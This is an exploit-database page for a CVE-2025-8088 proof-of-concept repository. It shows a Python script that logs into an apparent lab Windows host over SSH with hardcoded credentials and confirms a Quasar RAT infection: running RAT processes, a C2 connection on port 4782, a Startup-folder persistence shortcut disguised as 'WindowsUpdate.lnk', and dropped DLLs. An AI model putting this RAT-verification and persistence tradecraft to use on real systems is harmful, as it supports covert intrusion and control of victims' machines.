Exploit database

GH-9d8bf7b89f407a0fff790750df76b5d3

lewis-ricardo/amaranth-project

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2025-8088

19 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files52Next files →

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

Stage02_PowerShell/exploit/check_deep.py

Python · 1,467 bytes
import paramiko, time
time.sleep(15)

ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
ssh.connect('192.168.30.136', username='lewis', password='lewis123', timeout=10)

# Full process check
stdin,stdout,stderr = ssh.exec_command(
    'wmic process get Name,ProcessId,CommandLine 2>nul | findstr /i "quasar client loaded powershell"', timeout=5)
r = stdout.read().decode('gbk', errors='replace')
print('=== Processes ===')
print(r[:1000] if r else 'NONE')

# C2
stdin,stdout,stderr = ssh.exec_command('netstat -ano | findstr "4782"', timeout=5)
c2 = stdout.read().decode('gbk', errors='replace')
print('\n=== C2 ===')
print(c2[:500])
if 'ESTABLISHED' in c2: print('*** C2 CONNECTED ***')

# Check LNK content
stdin,stdout,stderr = ssh.exec_command(
    r'''powershell -c "$ws=New-Object -ComObject WScript.Shell;$s=$ws.CreateShortcut('C:\Users\lewis\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WindowsUpdate.lnk');Write-Host $s.TargetPath;Write-Host $s.Arguments"''',
    timeout=10)
lnk = stdout.read().decode('gbk', errors='replace')
print('\n=== LNK ===')
print(lnk[:500] if lnk else 'NONE')

# Check all .dll in Public
stdin,stdout,stderr = ssh.exec_command('dir C:\\Users\\Public\\*.dll 2>nul', timeout=5)
dlls = stdout.read().decode('gbk', errors='replace')
print('\n=== Public DLLs ===')
for l in dlls.split('\n'):
    if any(x in l for x in ['Quasar','proto']):
        print(l.strip()[:120])

ssh.close()